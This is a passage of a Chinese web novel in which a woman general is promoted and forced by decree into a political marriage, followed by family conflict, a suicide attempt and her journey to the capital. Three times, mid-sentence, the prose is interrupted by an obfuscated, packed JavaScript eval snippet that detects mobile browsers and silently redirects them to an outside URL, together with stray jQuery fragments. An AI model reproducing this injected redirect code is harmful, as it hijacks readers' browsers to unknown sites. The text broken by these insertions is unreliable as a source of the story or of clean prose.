皇帝为何突然想起小透明般的自己,还给自己升官,但还是照着规矩领旨谢恩。 只是,就在她刚要起身时,方才宣旨的女官又拿出了了第二道圣旨,笑眯眯看向她道:“将军别急着起呐,圣上还有一道旨意。” 纵然满心疑惑,李明珠也只能重新跪好,本以为还是什么封赏,谁知—— “朕闻将军李明珠温良知礼、品貌出众,又居功显赫、功勋卓著,而今年过二十却未有家室内子,朕实不忍功臣无后。今有前户部尚书蓝金之子蓝玄,德貌双全,姿容端丽,堪与将军相配,特赐婚于尔,共结良缘,择良辰吉日,行大婚之礼,以为世所典范,钦此!” 轰—— 如同一道惊雷炸响在耳边,震得李明珠愣在原地,女官叫了几声都没反应。最后还是同样跪在旁边的黄云旌用力扯了她一下,她才惊觉回神,却依然眼神呆滞,僵硬的磕头领旨。 那女官却仿佛没看见她这副模样,脸上仍端着笑:“诶呦李将军,咱们圣上可是对您荣宠非凡呐,这又是加官进爵又是赐婚的,放眼满朝文武,那个有您这样的殊荣?” 还没等李明珠勉强扯开嘴角客套两句,她便继续道:“圣上虽然没明说让您何时回京上任,但咱家瞧着,应是想让您快快进京的意思,您就受累收拾一番,这两日便启程罢!” 27. 回京 送走了这两个笑面虎女官,李明珠脱力般瘫在椅子上,黄云旌见她那如丧考妣的模样,竟觉得有些好笑,忍不住揶揄道:“升官娶夫,这两件大好事落到别人头上,还不知道得多高兴,怎么到了你这跟受了多大委屈似的。我听闻那蓝家公子可是姿容绝丽,又背靠轩辕氏,富可敌国,娶到这么个金龟婿,如此好的福气,还不珍惜?” 李明珠没好气地道:“你要是羡慕,这福气给你要不要?” “别别别,我家里那一夫一侍,已经够闹腾了,府里每天都乌烟瘴气的。”闻言,黄云旌吓得连连摆手。 随后她敛去笑容,坐在李明珠身旁,正色道:“别光想着赐婚的事了,你可有觉察出你这次升迁也不同寻常?” “当然感觉到了啊!好端端的,没打仗也没立功,圣上突然想起封赏我,怎么怎么奇怪。” 突然像是想到了些什么,她微微蹙眉:“你说是不是有人在皇帝面前提起我了?或是我太厉害被看到了?可是,从前的功劳该赏也赏了,不应该等到现在啊。” 见面前少女仍没想到关键上,黄云旌叹了口气,耐心解释道:“你从前不在官场,想必不甚了解。圣上升你为正四品宣威将军,听上去风光无限,品级也比现在高,但其实只是个虚职,手底下无一兵一卒。” 顿了顿,她继续道:“至于神机营,虽说与金吾卫一样,都是皇城禁军、天子亲卫,但却不直受皇上命令,上有指挥使统帅全军,下有佥事负责练兵,你这个同知夹在中间,也就是名头好听罢了。所以,若是我没猜错,你应该是碍了某些人的眼,又或是圣上想拿你做筏子,削弱蓝家的势力。” “拿我做筏子?就我这五品小官,一没银子二没背景三没权力的,还能削弱蓝家的势力?”李明珠不可思议反问。 见自己都把话说得这么明白了,对方还是云里雾里,黄云旌恨铁不成钢地拿手点指她额头,“你呀你,战场上那么精明,怎么轮到自己个儿的事上就这么糊涂呢!就是因为你没钱没权没背景,圣上才放心让你来掌控蓝家这艘大船。 自从蓝金和轩辕澈去了后,那两家万贯家财几乎都掌控在蓝玄这个男子手中,这么大的一块肥肉,谁不想上去咬一口?” “去世?!你方才说,蓝金和轩辕澈死了?”李明珠被这消息震得愣在原地,问完,又连忙补充道:“是户部尚书蓝金吗?” 黄云旌有些无奈:“还能是哪个蓝金?就是前户部尚书,左相的内侄女。她身子一直不大好,三年前病逝了,她的夫郎轩辕澈也在七日之后殉妻而去,只留下当时还未加冠的儿子。这事当时在京城传的沸沸扬扬,满朝文武皆知,连我在辽州都有所耳闻,怎得你的消息如此闭塞?” 但随后,她便想起,三年前蓝金去世时,李明珠正带兵与草原人作战,那场仗打了四个月,深入草原腹地三百余里,打得艰难。 虽说她们有两万大军,但毕竟是在人家的地盘上,不熟悉地形,吃了不少亏,身为主帅的李明珠也受了伤,回来养了好长时间才痊愈。加上辽州是边境,消息也慢,蓝金的死在京城掀起轩然大波,但在辽州这远离权力中心的地方,也就是让人唏嘘一场罢了。 看李明珠还被这消息惊得回不过神,黄云旌又是微微一叹。蓝金此人,也曾一时风头无两,出身士族之首的蓝家,却不愿受家族荫蔽,一路勤学苦读,仅二十二岁就中了探花。偏还不止步于此,后来云州有乱党作祟,她仅带千人就平了两万余人的叛乱,一战成名,受封户部尚书兼领金吾卫指挥使,那时她才二十五岁,试问当时谁人不知,蓝尚书容仪甚伟美姿容,少有人杰表。 无数高门贵子皆爱慕,就连今上亲弟,当年的端慧皇子,也自请出降,想要下嫁于她。蓝金却直接长跪于金銮殿,自述德容有亏配不上皇子,硬生生迫使先帝打消了赐婚的主意。 那时人们都以为蓝金一心立业,无意于情爱之事。可谁曾想,没过多久,就传出蓝尚书将要大婚的消息,众人大惊,尤其是那些原本属意于蓝金的男子们,更是一口银牙咬碎,四处打听,想知道究竟是怎样的男儿,能得她的青眼。直到后来轩辕澈家世大白于天下时,那轩辕氏独子的名头,才让他彻底堵住了悠悠众口。 也许是往日的蓝金风头实在太盛,如今人死了,再次回忆起来,连黄云旌这个与她素无瓜葛的人,都忍不住感到一丝怅然。 伸手为李明珠倒了杯茶,黄云旌轻声道:“明珠,我知晓你一向重感情,但此事牵连甚广,如今你已被拉入局中,圣上旨意一下,迎娶蓝玄,就是板上钉钉。其中轻重,你可知晓? 上个月蓝玄孝期刚过,就有无数家族上赶着提亲,士族、商贾,甚至宗室女,但凡有点门路能跟尚书府沾上点边的人家,都想分一杯羹。 但所有递到蓝家的庚帖,都被蓝公子找由头拒了,有几个身份贵重的,闹到宫里求圣上赐婚,却也无一例外,被堵了回去。你可知为何?” 李明珠偏过头,清澈的眸子望向她,看得黄云旌心头蓦地一软,也没等她回答,便继续道:“因为这些来求亲的女子,都是豪门望族之女,家世背景盘根错节,若真让她们娶了蓝玄,那轩辕氏的钱袋子,可就全进了世族手中。 我朝自太祖开国以来,才历经三代,皇族根基不如那些个百年世家,若是那富可敌国的财富被世家握在手中,只怕,现在这种君臣和睦的局面,很快就不复存在了。” 说到这些话的时候,黄云旌的视线透过窗棂望向远方,夜幕降临,远处的松河在月光照耀下宛如一条发光的白练,静谧安逸。 其实,她黄云旌若只是个旁观者,那么身为忠于皇帝的鹰犬,不应干涉如此多,只需冷眼旁观李明珠这个棋子,一步步走向提前布好的棋局之中。但她不是旁观者,身侧之人是曾同她经历生死的姐妹。 良久,她唇畔扯出一抹笑,随后转头,定定看着李明珠:“而你,背景干净,无钱无势,届时,圣上只要拿捏住你,就能拿捏蓝家和轩辕氏的金山银海。明珠,你现在已经身处漩涡之中,狡兔死,走狗烹。你于圣上而言,于江山而言,只是蝼蚁,但也许对那蓝公子来说,妻主为天。所以必要之时,可向蓝家和轩辕氏投诚,世家之力,未必不可保你。” 从帐中出来,外面已是月上中天,辽州的夏夜并不闷热,反而有些微风。带着些凉意的风吹在脸上,让李明珠混沌了一晚上的思绪逐渐变得清明。 她一个人漫无目的地走着,今夜是她自穿越以来的六年多里,第一次生出迷茫的情绪。意识到这一点后,她突然有些想笑,扯了扯嘴角,却没笑出来。 从前做乞丐当土匪时,每天想的最多的,就是什么时候能洗澡能吃肉,本着过一天算一天的心态,不也苟了那么久?怎得如今当了几年将军,竟有了些退意? 不,将军怎能有退意!,李明珠,想想罢,这几年里,你多少次陷入险境,多少次受伤濒死,多少次敌众我寡疲惫不堪,这些时候你都没有后退过一步,如今不过是知道那桩婚事,是想利用她拿捏蓝玄的筹码,便生出这可笑的退意!你能退到何处呢?从六年前起,你就已经是孤身一人了,退一步便是粉身碎骨! 江州城。 蓝宅。 蓝金身故后,圣上为表贤明,也为表对士族的优待,一直没收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233067|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回尚书府,准许蓝玄继续住在府里,但新任户部尚书上任后,便被撤了原本的匾额,又因蓝家本家也在京城,是为蓝府,故而只能称“蓝宅”。 虽已是子时,蓝宅内院依旧灯火通明,还不时传来一阵阵瓷器碎裂的声音,院外的仆从们跪了一地,皆瑟瑟发抖,却不敢抬头瞧一眼盛怒中的主子。 “哗啦——嚓——” 又是一声脆响,价值万两白银的缠枝莲纹双耳玉瓶落地,瞬间四分五裂,而此刻,屋内的芙蕖国进贡的地衣上,已躺着无数玉器,价值几千两黄金。可这些玉器的主人,却似乎无知无觉般。 就在蓝玄再一次举起一枚玉瓶之时,他的贴身小侍岚小山、岚小风哭着扑上前来,抱住了盛怒中的蓝玄:“公子,您别这样,你打奴才吧,别伤了自己的身子。” 蓝玄被桎梏住,使力便想挣脱,但那侍从毕竟是两个人,他又刚发泄了半天,难免脱力。也便不挣扎了,扔了手中玉瓶,那双原本琥珀色的眸子此刻猩红一片,却始终倔强地没有落下泪来。 两个侍从感觉到自家主子的身子渐渐滑落,心中大惊,抱得更紧了些,岚小山带着哭腔向外喊道:“主子要倒了,还不快过来帮忙!再拿了牌子去宫里请太医!” 蓝玄闻言,使尽全身力气把岚小山推倒在地,厉声道:“不许去!谁要是踏出府门一步,即刻乱棍打死扔出去!” 说罢,他闭了闭眼,许是方才情绪太过激动,眼前一阵漆黑,好一会儿,似乎是好了一些,他缓缓吩咐旁边侍从:“扶我到榻上去。” 几个近身小奴忙搀扶着蓝玄,缓缓往榻边挪去,毕竟是尚书府的奴才,做事麻利,分工也明确,等蓝玄上榻安顿好时,地上的碎瓷片已经被打扫干净,连地衣都换过了。岚小山端来一盆温水给蓝玄擦脸擦手。 众人各司其职,屋里虽然忙碌,却没有一丝声响。江州的盛夏很是闷热,但屋里放了冰鉴,还有小侍在一旁轻轻打扇,所以此时屋子里很是凉爽舒适,在这样的氛围之下,蓝玄暴戾的情绪也得到了缓和。 他合眼躺在床上,心中却想着今日的圣旨。那圣旨来得出人意料,却又似乎在情理之中。 李明珠、虎烈将军,曾是多么熟悉的字眼。似乎又把他拉回到了那个夜晚。那双温热的手拉着他。在兴隆帮的山上飞奔...... 不,蓝玄。这都是那萧遥的阴谋。你不能上当,你不能像那人一样,把自己捆绑在一个女人的后宅之中,日日盼着妻主施些雨露。 他猛地睁开双眼,透过窗棂看向如墨汁般的夜色,平静开口:“小风,你去找凌管事,让她找门路打听打听那位虎烈将军,哦,不,现在应该称宣威将军了,去问问她何时进京,咱们也得准备准备。” ...... 花开两朵,各表一枝,就在蓝玄想探听李明珠消息之时,李明珠也同样派小苏先一步去江州,一是去新宅子里打扫收拾,二是秘密探听蓝家公子的事情。 因着这次圣上催得紧,小苏上路没几日,李明珠便挑了一个惠风和畅的日子踏上了回京之路。 当年来辽州时,他们一行三人驾着马车,陆陆续续走了两个多月。而如今,却只有一人一马飞奔于巷道林间。 那日接完旨,与黄云旌谈到深夜,又一个人独自漫无目的走了许久,等终于想清楚自己接下来要走的路时,已是东方既白。待回过神来时,发现自己不知何时走到了将军府的门前。 原本自从当年知晓白玉尘的心思后,除了必要的时候,她几乎不怎么回来,但想到那两道圣旨的内容,李明珠想了想,还是进去一趟,很多事要找白灵商议一下。 28. 鲜血 听了小苏的话,李明珠心里一紧,急忙往里奔去。 本以为有白灵和小舟他们在,应是出不了什么事,谁知她刚一进内院,就听见正堂里乱哄哄的,白玉尘正拿着一柄短刃横在自己脖子上,目眦欲裂地瞪着自己的姐姐,脸上满是泪痕,嗓音也已经嘶哑得不成样子:“我今日就把话与你说明白,我就是喜欢阿珠,就是要同她在一处,你要还当我是你弟弟,就让我跟她走!” “白玉尘!你照照镜子看看你现在这幅样子,跟泼夫有什么两样!”白灵也是气得狠了,脖子上青筋鼓起,眼眶也带了丝红。 她的夫郎谢涣也在场,怕白灵气急动手,死死拉住她,劝道:“好了好了,妻主,阿尘也是心里难受,你莫要说这么重的话。先把刀拿过来,免得他不小心伤了自个儿。” “你别在这假惺惺作态!你嫁给了心爱之人,却来阻拦我和阿珠,我告诉你们,我白玉尘这辈子,只会嫁给李明珠!哪怕是做小侍!我知道阿珠不喜欢我,那又如何?!我不在乎,我爱她就够了!都是皇上,要不是她下旨,阿珠怎么会娶那劳什子蓝家公子——” 啪! 白灵一个箭步冲上去,结结实实打了白玉尘一个巴掌,又迅速夺过那把短刃扔在地上,怒声道:“你若是不知道自己在说什么,那我就就清醒清醒,你方才那些话传扬出去,圣上治你个大不敬之罪,我们全家就得一起砍头!” 此刻,白玉尘已经什么都听不到了,白灵的那一巴掌极重,直接将他打的一个踉跄,后退几步才堪堪稳住身形。他抬手捂住自己的脸,难以置信地看向白灵:“你竟然打我?!白灵!你有什么资格打我?!当初娘和爹去了时,你是怎么对我说的,你说这世上就剩我们两个血脉相连的亲人了,你会一直护着我,看着我成家嫁人,只有这样你才会放心。 可是现在呢,你自己有夫有女,我只是想嫁给阿珠,照顾她,我甚至,甚至逼着自己接受那道圣旨,不求正夫之位,只做侍,你是我亲姐姐啊,为何要如此步步紧逼!” 他痛苦地闭了闭眼,再睁开,赤红的双眸里满是决绝,猛地捡起地上的短刃,朝自己脖颈刺去。 他动作太快,屋内众人都没来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264793|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及反应,只能眼睁睁看着利刃离那脆弱的脖颈越来越近,白灵下意识就想伸手去抓,但有只手却比她更快地握住了刀刃。 李明珠其实在白灵打出那一巴掌时就想进去,可她怕白玉尘心气高,可能不想让旁人看见他狼狈的样子,再加上她听到白玉尘竟然要不顾一切,哪怕没名没份都要和她一起回京,说没有丝毫触动是假的。 她一直知道白玉尘喜欢自己,却没想到这份喜欢已经重到了如此地步,可如今知道了又能怎么样呢,自己无意于他,就算没有赐婚圣旨,他们之间也绝无可能,她认定白玉尘是弟弟、是亲人,此生就不会再变。 这么一犹豫,她便没有第一时间进去,直到余光瞥见他要捡那把短刃,身体比脑子反应更快,想都没想就上前握住了刀刃,掌心传来锥心的刺痛,血顺着刀柄往下流。 “嘶。” 白玉尘怔愣在当场,直到温热的血液流到他的手上,他似乎才反应过来,这是血,是——阿珠的血。 哐当。 沾了血的刀掉落在地上,连地衣也染上了刺目的红。 29. 启程 一阵兵荒马乱过后,屋里就剩下三人,李明珠坐在上首,白玉尘期期艾艾想挨着她坐,却被白灵一眼瞪过去。 他自知有错,又恨自己伤了李明珠,便老老实实坐在一旁。 屋子已被仆人清理干净,沾了血的地衣也换了新的。李明珠手心的伤口不算太深,又第一时间叫了郎中,敷药包扎后已无大碍。 三人都沉默地坐着,屋内一时间鸦雀无声,只余鼻尖一抹药味儿,盈盈未消。 想着今日回来的目的,李明珠最终还是先开了口:“白灵姐,看来你们应该也知道那两道圣旨之事了。” “是,咱们这天高皇帝远的,宫中突然来人还宣了两道圣旨的事,没等她们走军中就传开了,我昨夜还去了你帐中,听连雁说你从黄将军那儿出来后,说要自己一个人待会儿,她也不知你去了哪儿,我便先回来了。” 白灵疲惫地捏了捏自己眉心,继续道:“今日一大早,我刚想去上值,小舟就匆匆跑来,说阿尘从小苏那听说了你被圣上升迁赐婚,在房里闹着要去寻你,我一赶过去,就是你看到的那幅场景了。”提起方才之事,白灵显然也对自己弟弟感到无奈,那些话要是传出去,还不知得搞出多大的乱子。 李明珠点点头,“白灵姐,圣上催得急,过两日我就得启程回京,军中事务我已安排妥当,现在就剩府里这些人了,小苏和连雁我带走,剩下的人随你们一同留在将军府。” 随后,她从连雁手中接过几张纸递给白灵,“这些是我这几年置办的田产地契,有些是圣上赏的,还有些是我自己买的,不算多,但一年下来也能有个百余两银子,我此次回京,也不知道有没有机会再回来,这些就给你们留着罢,你现在有了家室,阿尘将来还要添妆......” “添什么妆,你都要走了,我还添个什么妆,阿珠,你带上我好不好,我不是要拆散你与那蓝家公子,我知道他有钱有势,能助力于你,我可以不要名分,我——” “够了!闹了一个早上,你还嫌不够吗?明珠是要回京完婚,带上你这么个未成婚的男子,成何体统?!那蓝家是什么人家,怎能容许正夫还未过门儿妻主就已纳侍,届时闹到圣上跟前,我们所有人都会被你牵连!”看着自家弟弟到现在还在执迷不悟,白灵心头的火几乎要压不住,厉声呵斥道。 若是往常,听见白家姐弟吵架拌嘴,李明珠都会上前相劝,但现在,她却未发一言,只淡淡垂下了眼眸,白灵虽言辞锋利,却是一心为白玉尘着想的,只是不知他能不能理解自己姐姐的用心了。 白灵训斥完弟弟,闭目顺了口气,再次睁眼时情绪已经平稳了很多,她看向李明珠,说道:“这些地契我不能要,你将来要入京,难免有需要上下打点的地方。再说你要迎娶蓝家公子,蓝家和轩辕氏的底蕴,从当年他送你的那些金银珠宝就可见一斑,到时你们大婚,他的嫁妆必定不菲,你若没有丰厚的聘礼,怕是要有长舌之人搬弄是非了。” 话落,她又从袖中取出几张银票,连同那几张地契一起塞入李明珠怀中,拦住了她要推拒的手,“我这还有五十两,昨日听闻你要进京时,我跟阿涣便特意寻了些银票,你路上拿着轻省些。明珠,你也莫要推拒,照理来说,我是应该与你一同去江州的,但也实在担心阿涣和芷儿,你能全我一点私心,我们都铭记于心。” “何况这钱也是阿涣主动提出要给你的,他们男儿家心细,到底考虑得更多些。左右我们在将军府有吃有住,我还有俸禄,平日里没什么用银子的地方。”提起自家夫郎,白灵眉宇之间也染上了丝温柔。 不过她没说的是,一开始谢涣听说圣上下了进京的旨意,以为他们定是也要跟着的,为此还抱着芷儿跟她哭了很久。白灵虽然对回京一事不太在意,但也架不住自家夫郎的眼泪,便只好连夜去军中寻李明珠。 结果只见到了守在帐外的连雁,连雁告诉她李明珠特意交代此次回京时间紧,要买两匹快马,再简单收拾个包袱,过不了两日就必须启程。却没让准备马车,虽没直接吩咐,但就单看这样的安排,想来是不用她们跟着的。 谢涣听闻后很是高兴,白灵却说不清自己到底是个什么心情。这么多年了,她们还是第一次要分开,此一分别,除非边关有战事,不然辽州与江州相隔千里,明珠应是难以再回来了。 许是感受到了白灵的情绪,谢涣从榻下暗格里取出所有的银票,让她送去给李明珠,千里之遥,又是京城那样的富庶之地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280511|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些银钱傍身总是没错的。 原本白灵想着等天一亮,就去军中找明珠,谁知白玉尘知道了此事,大闹起来,折腾了大半天,这才耽搁到现在才把银票给她。 从思绪中回过神,白灵压下心中不舍,站起身,郑重朝李明珠行了军礼,“明珠,京城不比辽州,各大势力盘根错节,你务必小心谨慎,保全自身,有什么需要,就给我来封信,若有什么能帮得上忙的,白灵必定全力以赴!” 之后的几天,李明珠都在军中,一来是要交接的军务确实多,而且她手下的兵士知道她马上要升官娶夫,都在闹着给她践行,辽州的兵士大多都是附近村民,她们不知道京城里复杂的权力交织,不懂那许多弯弯绕绕,只单纯为她高兴庆贺。 二来李明珠也实在是怕白玉尘再来找她,更不知道应该怎么面对,从那天他闹过那一场后,她已经彻底同白玉尘解释清楚了,自己对他只有姐弟之谊,没有女儿私情。但以对方当时的表情来看,应是没有听进去的,所以为了防止他再生出什么事端,李明珠干脆就没回将军府。 终于,四日后的一个清晨,她带着所有的不舍和牵挂,骑上珍珠——那匹陪伴她征战多年的照夜玉狮子,踏上了回京之路。 李明珠离开时没有跟任何人告别,小苏已被她提前派去江州打点,连雁则要先替她收完租子,过几日再带着银子去找她。 那几张地契她最终也没要,只拿了白灵给她的五十两银子,毕竟京城远在千里之外,她就算拿着地契也没什么用,干脆就让连雁先收了今年的租子,日后便由白灵代为管理收租,每年寄给她八十两银子就成,这样一来,她手里宽裕些,白灵也能多些进项。 一连走了十几日,人和马星夜兼程,终于在水芙蓉盛放之时,抵达了江州。 进城之前,李明珠特意绕道兴龙山,在山脚下徘徊良久,驻足远眺,山上已是树木葱茏。自六年前兴龙帮招安后,这儿便渐渐成了一座荒山,曾经无数人踏出来的小路也早已被杂草覆盖,闻着熟悉的山草和野花的香气,遥望山顶,她不禁有些怅然,阔别六年,终究物是人非。 没再继续停留,李明珠掉转马头,趁着夕阳还有最后一丝余晖,打马扬鞭朝着城门奔去。 30. 阴谋 城内不许纵马,李明珠便在城门处下马,验了路引和敕碟,顺利地进了城。 双脚再一次踏上江州的土地,她的内心平静如水,丝毫没有时隔多年再次回到故地的亲近感。 其实,若是细细算来,李明珠前前后后在江州也才待了几个月,倒也确实没什么感情可言,所以现在,她牵马走在城内的大街小巷,看什么都感到陌生又新奇。 感受着与辽州截然不同的风土人情,李明珠一路左看右看,慢悠悠地朝新府邸走去。 但她不知道的是,就在她渐渐走远,身影消失在城门口后,一个侍从模样的男子上了路边停着的一辆不起眼的马车。 “主子,她来了,我们的人也已经安插进了同知府。”禀报完后,岚小山恭恭敬敬跪在角落,也不敢正眼观瞧,只拿余光轻瞥眼前的玄色身影,复又马上收回视线。 天色渐晚,马车里没点灯,蓝玄身着玄色衣衫,头戴帷帽,即便在三伏天也把自己裹得一丝不透。 车帘掀起一角,直到李明珠的身影完全消失,那双纤长白皙到没有瑕疵的玉手才轻轻放下车帘,琥珀双眸隐在帷帽阴影下,让人看不清神色。 良久,他才终于启唇:“去告诉千机阁,人就在江州,事成之后,云雾山庄和袖弩百架,就都是她们的了。” “是。”岚小山领命退下。那马车却在原地停了很久,直到宵禁前一刻,车里的人才终于肯施舍一声,等候已久的车夫赶紧坐上车架,驾着马车驶入夜色中。 李明珠到同知府时天色已经黑透了,但府门前掌了灯,小苏远远迎上来,接过缰绳和她身上的包袱,激动道:“将军,您终于到了,府里都打点好了,就等着您来呢!” 李明珠随她一起进府,口中不禁疑惑道:“回京之路足有上千里,你怎就确定我今日能到?” “小的哪儿能那么准啊,这不估么着也就这几天的事儿,所以干脆每日都在府门处候着您,一会儿到了正堂,您先坐着歇会儿,小的每日都吩咐厨房给您留了饭食,您一路奔波定是累极了,知道您爱干净,也备了热水,用完膳后沐浴一番,好好解解乏。”小苏一路引着李明珠往府里走,嘴上絮絮叨叨说着她这些日子的安排。 李明珠边听边感慨这人真是带对了,虽说她在辽州住着偌大的将军府,但仆从却不多,除了跟她多年的小苏和连雁,便是白玉尘和谢涣身边有几个奴仆。 李明珠毕竟是穿越而来,没有让别人伺候的习惯,加上她这些年大多在军中,凡事亲历亲为,与手下的兵士们几乎是同吃同住。 即便偶尔回将军府,也不习惯太多人伺候,尤其这是女尊时代,男子多娇弱,穿来这么多年,她依然欣赏不了那种弱柳扶风三步一喘,说话掐着嗓子的娇娇公子,但很不幸,她们府里的男奴们除了柳初元,其余的都是如此,所以李明珠一向对他们敬而远之。 这次回京,她也只带了连雁和小苏两人,小苏灵活又忠心,李明珠直接让她做了府里的大管家,连雁稳妥听话,便随她在军中行走,办事更方便些。 同知府不比从前的将军府,位于京城白马巷中,周围都是官员住宅,甚至还有两座一品大员的府邸,每座都是五进的大宅院。巷子总共就那么大,自然而然地,只能牺牲她这四品小官儿的地方,所以虽说同知府也是两进院落,但占地连将军府的一半都没有。 走了没半刻钟,便到了她所住的前院正堂,屋里已经收拾妥当,按着她的喜好没放太多东西,东边是寝屋,只简单摆了张榻和桌案。西屋原是待客的小厅,但李明珠也没什么客人,便让小苏给改成了书房,平日就在这儿练字处理军务,省的搬来搬去麻烦得紧。 等她像狸奴巡视领地一样把每个屋子都看遍后,正堂已经摆好了晚膳,因着时辰太晚,李明珠只随便吃了两口,就起身去沐浴,她这十几日风餐露宿,只偶尔住店时才能冲个凉,一路风吹日晒都快馊了,不洗个干干净净是决计不能上榻的! 一夜好眠。 翌日,日上三竿,李明珠早在天一亮就醒了,却硬生生躺到现在还没起。无它,太舒服了! 这些年她一直在军中,每日寅时就要起来练兵,一开始也很不习惯,尤其是冬天,辽州位于淮河以北,冬日里几乎是滴水成冰,寅时天色还是漆黑一片,连路都看不清。 所以每次她在四面透风的军帐里摸黑穿衣时,都在心里默默流泪,感慨命运多舛,高中过了三年的苦日子,每天起得比鸡早睡得比狗晚,好不容易快熬出来了,眼看着高考在即,她却穿了过来,不是受穷就是受苦。 当然,从前读的书也不全然没用,还可以安慰自己“天将降大任于斯人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身”,真是实践出真知。 今日是第一日到江州,得等明日把敕碟报上去才能去上值,也算偷得浮生一日闲。难得休息,要不是一会儿还要出城,李明珠恨不得躺上一天。 艰难从榻上爬起,匆匆洗漱完,早膳也端上了桌,额,准确来说,应是早午膳。 厨房的人都是刚买来不久的,也不知晓李明珠的口味,虽说苏管事跟她们交代过主子没有忌口,但几人在这第一顿午膳上也是下足了功夫,考虑到李明珠从前一直在辽州,便特意做了些辽州口味的膳食。 四道热菜两盘糕点将桌子占的满满当当,李明珠本就食量大,赶路这么多天也没好好吃饭,昨夜也只是匆匆用了几口,所以她今日胃口极好,这么多道菜,她一个人几乎全吃完了,还添了两碗饭,这才摸着肚子懒散靠在椅背上,随意朝小苏吩咐道:“今儿我要出去一趟,晚上不用留膳了。” “是。”小苏应声答道,顿了顿,似乎想到了什么,随即开口:“将军,还有一事,咱们府里新买了十几个奴仆,不知您是否有吩咐,或是我让她们现在都过来,您训诫整顿一番?” 李明珠摆摆手,“不用不用,你看着来就行,我也不在意这些。倒是你这个大管事该拿出点威严来,你跟了我这么多年,府里的事交给你,我没什么不放心的。 只一点,这儿毕竟是京城,各处势力盘根错节,咱们府里所用之人务必查清底细,可不能着了人家的道儿去!实在不好打发的,就随便让她们干点儿粗活。我的院子和书房,还是只有你和连雁能进,日常打扫也是你们来。” 小苏领命退下,李明珠回屋换了件轻薄些的霜色窄袖劲装,骑上珍珠出城。 她要去京郊大营找路从,分别六年多来,她们几乎每个月都要通信,大部分时候都没什么要紧事,也不拘写些什么,事情琐碎,甚至李明珠吃到好吃的鲜花饼,都要在信中描述一番。 路从也会絮絮叨叨提醒她辽州天冷要多加衣,还给她寄过好几次棉衣,那些棉衣都是上好的料子,棉花也厚实,一件就得值好几两银子,路从一个月的工钱,买了这么一件衣裳之后,几乎就不剩什么了,多少日子都只能干啃胡饼。 李明珠也会给她寄些吃食,当然,大多都不是她亲手做的,倒不是她懒,而是不论从前还是现在,她改变了很多,唯一亘古不变的,就是她那糟糕的厨艺。 从前将军府的厨房很大,李明珠在休沐时也曾心血来潮试着做过几道菜,结果不是糊了就是没熟,最后还得白玉尘再来个二次回锅。后来实在感觉在厨艺之路上毫无天赋,加上要她处理的军务越来越多,干脆就再没下过厨。 一路疾驰出了城,直奔西郊,李明珠整个人都沉浸在即将见到好友的激动中,却不知危险已经悄然靠近,她牵着珍珠刚一出府,两个模样普通的女子便不远不近地跟上了她,到了城门口换了另外两人骑马跟上,远远地看见李明珠进了军中,她们也没别的举动,只寻了个隐蔽之处,静静等待。 京郊大营的值房里,路从被叫来时一头雾水,还在疑惑谁能来这儿找自己,谁知,刚一推开门,记忆中的身影就这样毫无防备地出现在眼前。 路从这个八尺铁娘子的眼圈蓦地就红了,上前一把抱住李明珠,说出的话都带着哽咽:“明珠,高了,也长肉了,真好,真好......” 李明珠也是百感交集,六年的时间足以改变一切,但幸好,路从还站在她身边。 今日不是休沐日,路从也是刚从演武场过来,原本李明珠想让她先上值,自己去她帐中等着,反正都回京了,要想叙旧什么时候都行。 但路从哪还有心思上值,她现在就想着跟李明珠执手畅聊个一整夜,其它事再十万火急也得排在明珠之后。于是直接告了一下午假,拉着李明珠先回军帐里取了些银子,找粮官买了只鸡和半只羊腿,然后在后山的山坡上席地而坐,生了篝火开始烤肉。 路从还神秘兮兮地搬出了一个小坛子,往李明珠的碗里倒了些,一闻这个味道,李明珠惊奇地瞪大了眼睛,“这是我去岁托人给你送的石榴酒!怎得还没喝完?” 路从颇有些得意道:“哼,要是早喝完了,你今日哪还能有这口福!你统共就送来了两坛,葡萄酒我没忍住喝了,只剩这小半坛石榴酒,我哪里舍得喝?也只能等哪日累了,小小的来上一杯罢了。” 辽州到京城太远,虽说轩辕氏的驿站建的完善,但也就是寄寄信件或者容易保存的东西,酒水坛子容易碎了或撒了,便不能从驿站寄出,只能托过往商队或熟人帮忙运。 这两坛酒就是去年她们营中有个参将去姑苏探亲,要坐船从运河南下,李明珠便托她帮忙捎了两坛酒,然后提前写信给路从,让她去码头等着拿酒。原以为路从一向是个嘴馋的,一收到就会迫不及待地打开喝完,却没想到她竟如此珍视,还能留到今天。 